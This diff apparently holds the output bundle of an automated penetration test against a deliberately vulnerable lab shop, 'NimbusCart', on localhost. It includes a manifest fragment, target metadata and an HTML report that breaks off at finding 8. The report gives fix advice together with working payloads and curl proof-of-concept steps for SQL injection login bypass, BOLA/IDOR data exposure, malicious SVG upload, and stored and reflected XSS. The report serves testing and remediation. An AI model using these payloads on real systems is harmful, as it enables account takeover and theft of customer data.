"bytes": 0,
|
||||
"role": "findings quarantined for being outside scope (P2)"
|
||||
},
|
||||
{
|
||||
"name": "flows.jsonl",
|
||||
"present": false,
|
||||
"bytes": 0,
|
||||
"role": "intercepted request/response flows"
|
||||
},
|
||||
{
|
||||
"name": "meta.json",
|
||||
"present": true,
|
||||
"sha256": "c879fc77b942399b73b8050f258d00b4e671b38bdaa00ef7eebfac356484864c",
|
||||
"bytes": 197,
|
||||
"role": "target metadata"
|
||||
}
|
||||
],
|
||||
"properties": [
|
||||
{
|
||||
"id": "P1",
|
||||
"name": "Signed authorization",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"audit.jsonl"
|
||||
],
|
||||
"note": "capability recorded and decisions logged"
|
||||
},
|
||||
{
|
||||
"id": "P2",
|
||||
"name": "Scope enforcement",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"audit.jsonl"
|
||||
],
|
||||
"note": "scope decisions recorded, including denials/quarantine"
|
||||
},
|
||||
{
|
||||
"id": "P3",
|
||||
"name": "Evidence & CVSS",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"findings.json"
|
||||
],
|
||||
"note": "0/18 findings carry structured evidence · 16 with CVSS · 17 voted · 16 PoC(s) · 0 screenshot(s) · 14 evidence file(s)"
|
||||
},
|
||||
{
|
||||
"id": "P4",
|
||||
"name": "Audit integrity",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"audit.jsonl",
|
||||
"audit.jsonl.anchors"
|
||||
],
|
||||
"note": "hash chain plus signed anchors (truncation/rebuild detectable)"
|
||||
},
|
||||
{
|
||||
"id": "P5",
|
||||
"name": "Provenance",
|
||||
"status": "present",
|
||||
"evidenced_by": [
|
||||
"provenance.json"
|
||||
],
|
||||
"note": "signed provenance manifest with structural signature"
|
||||
}
|
||||
],
|
||||
"bundle_hash": "85b0ef6f4789f08cb6bde0669b45aefb9f9f6bcb5f853a811c20f725a58e1eb1"
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"asset": "NimbusCart Inc",
|
||||
"brand": "NimbusCart Inc",
|
||||
"server": "",
|
||||
"status": 200,
|
||||
"target": "http://localhost:3000",
|
||||
"tech": [],
|
||||
"title": "Home · NimbusCart",
|
||||
"typesafe": true
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
<!DOCTYPE html><html><head><meta charset=utf-8><title>NeuroSploit Report — http://localhost:3000</title><style>:root{--violet:#7c5cff}body{font:14px/1.6 -apple-system,Segoe UI,Roboto,sans-serif;color:#1a1a1a;max-width:860px;margin:40px auto;padding:0 24px}h1{margin:0;font-size:26px}h2{font-size:15px;margin:22px 0 8px}.b{color:var(--violet);font-weight:800}.sub{color:#888;font-size:13px;margin:2px 0 16px}table.assettbl{border-collapse:collapse;width:100%;margin:0 0 16px;font-size:12.5px}table.assettbl td{border:0.5pt solid #ddd;padding:6px 9px}table.assettbl td:first-child{color:#888;width:160px}.summary-grid{display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin:10px 0 6px}.sumbox{border:1px solid #ddd;border-radius:6px;padding:10px 6px;text-align:center}.sumn{font-size:20px;font-weight:800}.suml{font-size:9px;letter-spacing:.4px;color:#888;margin-top:2px}table.kc{border-collapse:collapse;width:100%;margin:8px 0 16px;font-size:12.5px}table.kc th,table.kc td{border:0.5pt solid #ddd;padding:6px 9px;text-align:left}table.kc th{color:#555;font-size:11px;text-transform:uppercase;letter-spacing:.3px}.finding{border:0.5pt solid #ddd;border-left:3pt solid #999;border-radius:6px;padding:14px 18px;margin:14px 0}.finding h3{margin:0 0 8px;font-size:15px}table.fieldgrid{border-collapse:collapse;width:100%;font-size:11.5px;margin-bottom:6px}table.fieldgrid td{padding:3px 6px}.fk{color:#888;white-space:nowrap;width:1%}.sev{color:#fff;border-radius:6px;padding:2px 8px;font-size:12px;margin-right:8px}.m{color:#666;font-size:12px}pre{background:#0f1117;color:#dfe6f3;padding:11px;border-radius:8px;overflow:auto;font-size:12.5px;white-space:pre-wrap}h4{margin:12px 0 3px;font-size:11px;text-transform:uppercase;letter-spacing:.5px;color:var(--violet)}.shots{display:flex;flex-wrap:wrap;gap:12px;margin:6px 0}.shot{margin:0;max-width:100%}.shot img{max-width:100%;border:0.5pt solid #ddd;border-radius:8px;display:block}.shot figcaption{color:#888;font-size:11px;margin-top:3px;font-family:ui-monospace,Menlo,monospace}.footer{color:#888;font-size:11px;margin-top:24px;border-top:0.5pt solid #ddd;padding-top:10px}</style></head><body><h1><span class=b>Neuro</span>Sploit</h1><div class=sub>Penetration Test Report</div><table class=assettbl><tr><td>Asset</td><td><b>NimbusCart Inc</b></td></tr><tr><td>URL / target</td><td>http://localhost:3000</td></tr></table><h2>Executive Summary</h2><div class=summary-grid><div class=sumbox style=border-color:#c0392b><div class=sumn style=color:#c0392b>2</div><div class=suml>CRITICAL</div></div><div class=sumbox style=border-color:#e67e22><div class=sumn style=color:#e67e22>4</div><div class=suml>HIGH</div></div><div class=sumbox style=border-color:#f1c40f><div class=sumn style=color:#f1c40f>3</div><div class=suml>MEDIUM</div></div><div class=sumbox style=border-color:#3498db><div class=sumn style=color:#3498db>0</div><div class=suml>LOW</div></div><div class=sumbox style=border-color:#7f8c8d><div class=sumn style=color:#7f8c8d>0</div><div class=suml>INFO</div></div></div><h2>Vulnerability Summary</h2><table class=kc><tr><th>#</th><th>Vulnerability</th><th>Severity</th><th>Status</th><th>OWASP / CWE</th></tr><tr><td>1</td><td>API BOLA via sequential numeric IDs at GET /api/v2/users/:id (any customer reads any user, incl. cleartext admin password)</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>2</td><td>SQL Injection Authentication Bypass at POST /login</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>3</td><td>Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A04:2021-Insecure-Design</td></tr><tr><td>4</td><td>Stored XSS via product review `text` field, rendered unescaped at GET /shop/product/:id</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>5</td><td>IDOR/BOLA on GET /account/invoice/:id — logged-in user views other customers' invoices</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>6</td><td>BOLA on GET /api/v2/orders/:id — any customer reads other customers' orders/invoices</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>7</td><td>Reflected XSS in `q` parameter at GET /shop/search</td><td><span class=sev style=background:#f1c40f>Medium</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-InjectioLine truncated
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Enforce server-side object-level authorization on GET /api/v2/users/:id: reject unless token.id == :id (or token.role == 'admin'). Separately, stop serializing `password` and `apiKey` in any API response (return a DTO with only client-needed fields); store passwords hashed, never in plaintext. Rotate all leaked apiKeys and the admin password.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/api/v2/users/1 # baseline: 401 (auth required)</pre></li><li><pre class=step>curl -s -c jar -X POST http://localhost:3000/register -d 'username=poc1&email=poc1@example.test&password=Pw!1' # get a low-priv customer</pre></li><li><pre class=step>TOK=$(curl -s -b jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+') # customer JWT (role=customer)</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/users/1 # ATTACK: returns admin record incl cleartext password + apiKey</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login -d 'username=admin&password=<leaked>' # CHAIN: log in as admin</pre></li><li><pre class=step>curl -s -b <admin-cookie> http://localhost:3000/admin # full admin panel / all users</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <any valid customer JWT>; GET /api/v2/users/1 (and /2../37 — arbitrary id)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
No token -> HTTP 401 {"error":"missing bearer token"}. With customer JWT (id=36): GET /api/v2/users/37 -> 200 {"id":37,"username":"nrsplt_b10346","email":"nr***@example.test","password":"Pa****!10346","apiKey":"nk_live_9647***",...}. GET /api/v2/users/1 -> 200 admin record {"id":1,"username":"admin","role":"admin","password":"Su************!2024","apiKey":"nk_live_51Hc9***","balance":500000}. Reverse (B token -> id 36) also 200. Repeated 2x, stable. CHAIN: leaked admin password -> POST /login admin -> GET /admin renders full user table (38 users). Screenshot: /opt/neurosploit-rs/runs/ns-1789870577-localhost_3000/evidence/bola-admin-takeover.png. PoC: pocs/bola_v2_users.sh</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/bola-v2-users-1.png" alt="proof for API BOLA via sequential numeric IDs at GET /api/v2/users/:id (any customer reads any user, incl. cleartext admin password)"><figcaption>evidence/bola-v2-users-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_v2_users.sh"><code>pocs/bola_v2_users.sh</code></a></li></ul></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 2. SQL Injection Authentication Bypass at POST /login</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>login_sqli_bypass</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/login — POST /login, form field `username` (application/x-www-form-urlencoded). Password ignored once injection comments out the rest of the WHERE clause.</p><h4>What it means</h4><p>Full authentication bypass without credentials. Attacker obtains an authenticated session as the `admin` user (admin role badge, $500000 balance, access to /account/transfer, /account/change-email, /account/api-token). Proven by rendering the authenticated admin /account page. The injectable string terminator also indicates the query is exploitable for further SQLi (data extraction).
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Use a parameterised/prepared query for the credential lookup (bind username as a parameter); never string-concatenate input into SQL. Verify the password with a constant-time hash comparison server-side. Return a generic auth error.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i -X POST http://localhost:3000/login -d 'username=nobody&password=wrong' # baseline -> 302 /login?err=Invalid credentials</pre></li><li><pre class=step>curl -s -i -c /tmp/c.txt -X POST http://localhost:3000/login --data-urlencode "username=admin'-- -" --data-urlencode 'password=x' # attack -> 302 /account</pre></li><li><pre class=step>curl -s -b /tmp/c.txt http://localhost:3000/account | grep -E 'BURPAT|badge admin|Balance' # returns admin account + flag</pre></li></ol><h4>Payload</h4><pre class=payload>username=admin'-- - & password=x</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Baseline `username=nobody&password=wrong` -> HTTP 302 Location: /login?err=Invalid%20credentials. Attack `username=admin'-- -` -> HTTP 302 Location: /account. GET /account with resulting nimbus.sid cookie returns authenticated admin page: '<div class="alert ok">Logged in via SQL injection auth bypass! Flag: BURPAT{web_sqli_login_bypass_e1ad1d9f}</div>', 'Balance: $500000.00', '<span class="badge admin">admin</span>'. Same request WITHOUT cookie -> 302 /login?next=%2Faccount. PoC: pocs/sqli_login_bypass.sh (run, passes). Screenshot: sqli-login-bypass-admin.png</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-001-1.png" alt="proof for SQL Injection Authentication Bypass at POST /login"><figcaption>evidence/ns-001-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/sqli_login_bypass.sh"><code>pocs/sqli_login_bypass.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 3. Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design · CWE-434</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/support/ticket ; files served at GET http://localhost:3000/uploads/<filename></td></tr><tr><td class=fk>Agent</td><td>file_upload</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/support/ticket ; files served at GET http://localhost:3000/uploads/<filename> — POST /support/ticket, multipart/form-data file field `attachment`. No extension/content-type allowlist; file stored verbatim under the original name and served from /uploads/ with a matching executable Content-Type (image/svg+xml for .svg, text/html for .html) and NO Content-Disposition:attachment. CSP only sets `frame-ancestors 'self'` (no script-src), so scripts in the served document run in the localhost:3000 origin.</p><h4>What it means</h4><p>Any unauthenticated visitor can upload a file under an attacker-chosen name that is served same-origin with an executable Content-Type and no download-forcing header. A victim who opens the /uploads/<file> link runs attacker JavaScript in the http://localhost:3000 origin: this can read/steal any non-HttpOnly state, drive authenticated actions as the victim, and — because the session cookie nimbus.sid is HttpOnly but Secure=false/SameSite unset — perform CSRF-style same-origin requests. Measured: alert(document.domain) executed and document.title was rewritten from the served file. No RCE (PHP not executed on this Node stack). Uploaded links also appear in the public 'Recent public tickets' list on /support, so the malicious URL is discoverable, not just direct-link.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Server-side allowlist the accepted attachment types by BOTH extension and sniffed magic bytes (e.g. png/jpeg/pdf/txt only); reject svg/html/xml/php outright. Store uploads under randomly generated names (drop the client filename) in a location served with Content-Type: application/octet-stream AND Content-Disposition: attachment, or from a separate cookieless origin. Do not reflect image/svg+xml or text/html for user uploads. Add X-Content-Type-Options: nosniff and a script-src CSP.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>MARK=nrsplt_fu_demo_$(date +%s)</pre></li><li><pre class=step>printf '<?xml version="1.0"?>\n<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain+\x27:%s\x27)">%s</svg>' "$MARK" "$MARK" > /tmp/$MARK.svg</pre></li><li><pre class=step># Upload (no auth, no CSRF token required):</pre></li><li><pre class=step>curl -s -i -F "subject=$MARK" -F "body=$MARK" -F "attachment=@/tmp/$MARK.svg;type=image/svg+xml" http://localhost:3000/support/ticket # -> 302 Location:/support</pre></li><li><pre class=step># Fetch the stored file and read the Content-Type:</pre></li><li><pre class=step>curl -s -i http://localhost:3000/uploads/$MARK.svg # -> 200, Content-Type: image/svg+xml, body intact</pre></li><li><pre class=step># Confirm execution: open http://localhost:3000/uploads/$MARK.svg in a browser -> alert('localhost:'+MARK) fires in the localhost:3000 origin</pre></li><li><pre class=step># Arbitrary type also works: repeat with a .html file -> served as text/html</pre></li></ol><h4>Payload</h4><pre class=payload>attachment=@nrsplt_fu_1789871626.svg;type=image/svg+xml with body: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain+':nrsplt_fu_1789871626')"><script>document.title='nrsplt_fu_1789871626'</script></svg> (also proven with an arbitrary .html file served as text/html)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Upload: POST /support/ticket (multipart, attachment=nrsplt_fu_1789871626.svg, type image/svg+xml) -> HTTP 302 Location:/support. Serve: GET /uploads/nrsplt_fu_1789871626.svg -> HTTP 200, Content-Type: image/svg+xml, no Content-Disposition, body returned byte-for-byte with active onload/<script> and marker. Browser (Playwright, Chromium) navigating that URL raised: alert dialog message = "localhost:nrsplt_fu_1789871626" and set document.title to the marker -> JS executed in the localhost:3000 origin. Second proof: arbitrary .html (nrsplt_htmlx_1789871707.html) uploaded -> served Content-Type: text/html -> browser navigation blocked by the file's own alert() (unhandled dialog), confirming script execution. PHP file (nrsplt_php_*.php) was stored and served as application/x-httpd-php but body returned as RAW SOURCE (not executed) -> no RCE on this Node/Express stack.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-fu-01-1.png" alt="proof for Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)"><figcaption>evidence/ns-fu-01-1.png</figcaption></figure></div></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 4. Stored XSS via product review `text` field, rendered unescaped at GET /shop/product/:id</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/shop/product/1/review</td></tr><tr><td class=fk>Agent</td><td>xss_stored</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/shop/product/1/review — POST /shop/product/:id/review, form field `text` (textarea name="text"); reflected into the Reviews list `<div class="card"><div>…</div></div>` at GET /shop/product/:id with no HTML encoding</p><h4>What it means</h4><p>Measured: attacker-supplied JavaScript stored server-side and executed in the browser of every visitor of the product page (including unauthenticated visitors — the anonymous GET returns it raw), running in the http://localhost:3000 origin. The page sets session cookie nimbus.sid with HttpOnly=true, so document.cookie theft is blocked, but same-origin script can perform any authenticated action as the viewer (submit reviews, hit /account/* state-changing endpoints, read authenticated pages) and deface the page for all users.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>HTML-entity-encode review text on output when building the review card (the template engine's auto-escaping / a helper like escapeHtml), or render user text as textContent rather than raw HTML. Add a real CSP with a restrictive script-src (no 'unsafe-inline') as defense-in-depth. Do not rely on input filtering.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c /tmp/j -b /tmp/j -X POST 'http://localhost:3000/register' --data-urlencode 'username=nrsplt_x' --data-urlencode 'email=nrsplt_x@example.test' --data-urlencode 'password=Nsplt!123' -o /dev/null # get an authenticated session</pre></li><li><pre class=step>curl -s -c /tmp/j -b /tmp/j -X POST 'http://localhost:3000/shop/product/1/review' --data-urlencode 'text=<img src=x onerror="document.title=%27NSXSS_2903232123%27;window.NSXSS_2903232123=document.domain">' # store payload</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/product/1' | grep -oF '<img src=x onerror="document.title=' # Phase A: payload present unescaped, even without any cookie</pre></li><li><pre class=step>Open http://localhost:3000/shop/product/1 in a browser (or run pocs/stored_xss_product_review.sh) and observe the tab title change to NSXSS_2903232123 and window.NSXSS_2903232123 == 'localhost' # Phase B: JS executed</pre></li></ol><h4>Payload</h4><pre class=payload><img src=x onerror="document.title='NSXSS_2903232123';window.NSXSS_2903232123=document.domain"></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Phase A (stored): anonymous GET /shop/product/1 returns the payload byte-for-byte inside a review card, unescaped: `<img src=x onerror="document.title='NSXSS_2903232123';window.NSXSS_2903232123=document.domain">`. Phase B (executes): headless Chromium load of /shop/product/1 -> document.title became 'NSXSS_2903232123' and window.NSXSS_2903232123 === 'localhost' (document.domain), proving the injected JS ran in page origin. Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src), so inline handlers execute. Submit endpoint returns 302 -> /shop/product/1.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/stored-xss-product-review-1.png" alt="proof for Stored XSS via product review `text` field, rendered unescaped at GET /shop/product/:id"><figcaption>evidence/stored-xss-product-review-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/stored_xss_product_review.sh"><code>pocs/stored_xss_product_review.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 5. IDOR/BOLA on GET /account/invoice/:id — logged-in user views other customers' invoices</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/account/invoice/:id</td></tr><tr><td class=fk>Agent</td><td>bola</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/account/invoice/:id — Path parameter `:id` in GET /account/invoice/:id (session cookie `nimbus.sid`). Auth gate present (302 to /login when anonymous) but no per-object ownership check.</p><h4>What it means</h4><p>Measured: attacker's authenticated session rendered invoices 1001/1002/1003 belonging to alice/bob/carol, disclosing customer name and charged total per invoice. Sequential ids permit harvesting all customers' invoices via the web UI (no API token needed).
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>In the invoice route, after fetching the invoice/order, verify its owner userId matches the session user id (or the session has an admin role) before rendering; return 403/404 otherwise.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c j -d 'username=poc3&email=poc3@example.test&password=Pw!poc3' http://localhost:3000/register -o /dev/null</pre></li><li><pre class=step># attack: curl -s -b j http://localhost:3000/account/invoice/1001 | sed -e 's/<[^>]*>//g' | grep -iE 'invoice #|customer|total'</pre></li><li><pre class=step># repeat 1002 (bob), 1003 (carol)</pre></li><li><pre class=step># control: curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' http://localhost:3000/account/invoice/1001 # 302 -> /login</pre></li><li><pre class=step># read result: page shows 'Customer: alice/bob/carol' and totals not belonging to the logged-in user</pre></li></ol><h4>Payload</h4><pre class=payload>Cookie: nimbus.sid=<attacker session>; GET /account/invoice/1001</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
As logged-in attacker (nrsplt_a_82): GET /account/invoice/1001 -> 200 renders 'Invoice #1001 ... Customer: alice ... Total: $29.99' with app's own message 'IDOR confirmed: viewing another customer's invoice (owner: alice) without authorization. Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. 1002 -> Customer: bob $89.99; 1003 -> Customer: carol $349.00. CONTROL: no session -> 302 Location /login?next=%2Faccount%2Finvoice%2F1001. Non-existent id 1000 -> 404 'Invoice not found'.</pre></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 6. BOLA on GET /api/v2/orders/:id — any customer reads other customers' orders/invoices</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/api/v2/orders/:id</td></tr><tr><td class=fk>Agent</td><td>bola</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/api/v2/orders/:id — Path parameter `:id` in GET /api/v2/orders/:id. Requires Bearer JWT but ignores whether order.userId == token.id.</p><h4>What it means</h4><p>Measured: attacker customer (id 39) retrieved orders 1001/1002/1003 belonging to users 2/3/4 (alice/bob/carol) — line items, totals, and internal invoiceNotes. Sequential ids (1001+) allow enumerating all customers' order history and shipping/billing notes.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Add object-level authorization to the orders handler: after loading the order, verify order.userId === req.token.id (or admin) before returning; otherwise respond 403/404. Prefer non-sequential/opaque order ids as defense-in-depth.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c j -d 'username=poc2&email=poc2@example.test&password=Pw!poc2' http://localhost:3000/register -o /dev/null</pre></li><li><pre class=step>T=$(curl -s -b j http://localhost:3000/account/api-token | grep -Eo 'eyJ[A-Za-z0-9_.-]+' | head -1)</pre></li><li><pre class=step># attack: curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/orders/1001</pre></li><li><pre class=step># repeat for 1002, 1003 (bob, carol)</pre></li><li><pre class=step># control: curl -s http://localhost:3000/api/v2/orders/1001 # -> 401</pre></li><li><pre class=step># read result: returned order shows userId != 39, i.e. another customer's order data</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <attacker customer JWT>; GET /api/v2/orders/1001</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Attacker id=39. GET /api/v2/orders/1001 -> 200 {"id":1001,"userId":2,"items":[{"productId":1,"qty":1}],"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"} (owner userId 2=alice). 1002 -> userId 3 (bob) total 89.99. 1003 -> userId 4 (carol) total 349 w/ internal note 'VIP customer, unlimited return window'. CONTROL: no token -> 401. Attacker owns none of these (own order lookup 404). Reproduced x2 identical.</pre></section><section class=finding style=border-left-color:#f1c40f><h3><span class=sev style=background:#f1c40f>Medium</span> 7. Reflected XSS in `q` parameter at GET /shop/search</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Medium</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>0/1 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/shop/search?q=</td></tr><tr><td class=fk>Agent</td><td>xss_reflected</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>http://localhost:3000/shop/search?q= — GET /shop/search, query parameter `q`, echoed into HTML body inside `<p class="lead">Showing results for: <q></p>`</p><h4>What it means</h4><p>Measured: attacker-supplied HTML/JS in the `q` parameter executes in the victim's browser in the localhost:3000 origin when the victim opens a crafted link. Since the session cookie nimbus.sid is HttpOnly, document.cookie theft is limited, but the script runs with full access to the authenticated DOM/session — can perform actions as the victim (add to cart, submit forms, read authenticated page content, drive the /api/v2 or /api/graphql calls the page can make), phishing, and defacement.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>HTML-entity-encode `q` before inserting into the response template (e.g. contextual output encoding / auto-escaping template engine) instead of raw string interpolation. Additionally tighten CSP to include a restrictive `script-src` (drop 'unsafe-inline') so injected inline handlers cannot run as defence-in-depth.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s 'http://localhost:3000/shop/search?q=xss1337test' | grep 'results for' # baseline: canary reflected unencoded</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(0x1337)%3E' | grep 'results for' # attack: payload reflected as a live <img> tag</pre></li><li><pre class=step>Open the attack URL in a browser: http://localhost:3000/shop/search?q=<img src=x onerror=alert(0x1337)> -> alert dialog showing 4919 fires (onerror executed)</pre></li><li><pre class=step>Automated check: bash pocs/reflected_xss_search.sh</pre></li></ol><h4>Payload</h4><pre class=payload><img src=x onerror=alert(0x1337)></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Baseline: `curl 'http://localhost:3000/shop/search?q=xss1337test'` -> body contains `<p class="lead">Showing results for: xss1337test</p>` (canary reflected, HTTP 200, Content-Type text/html). Attack: `q=<img src=x onerror=alert(0x1337)>` reflected verbatim as a LIVE tag: `<p class="lead">Showing results for: <img src=x onerror=alert(0x1337)></p>` — no HTML entity encoding (source even comments `reflected without encoding`). Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src/default-src), so execution is not blocked. Browser proof: headless Chromium (Playwright) navigating the attack URL fired a JS dialog with message `4919` (== 0x1337), confirming onerror executed. Screenshot: reflected-xss-search.png.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/xss-reflected-shop-search-q-1.png" alt="proof for Reflected XSS in `q` parameter at GET /shop/search"><figcaption>evidence/xss-reflected-shop-search-q-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/reflected_xss_search.sh"><code>pocs/reflected_xss_search.sh</code></a></li></ul></section><section class=finding style=border-left-color:#f1c40f><h3><span class=sev style=background:#f1c40f>Medium</span> 8. DOM-based XSS via 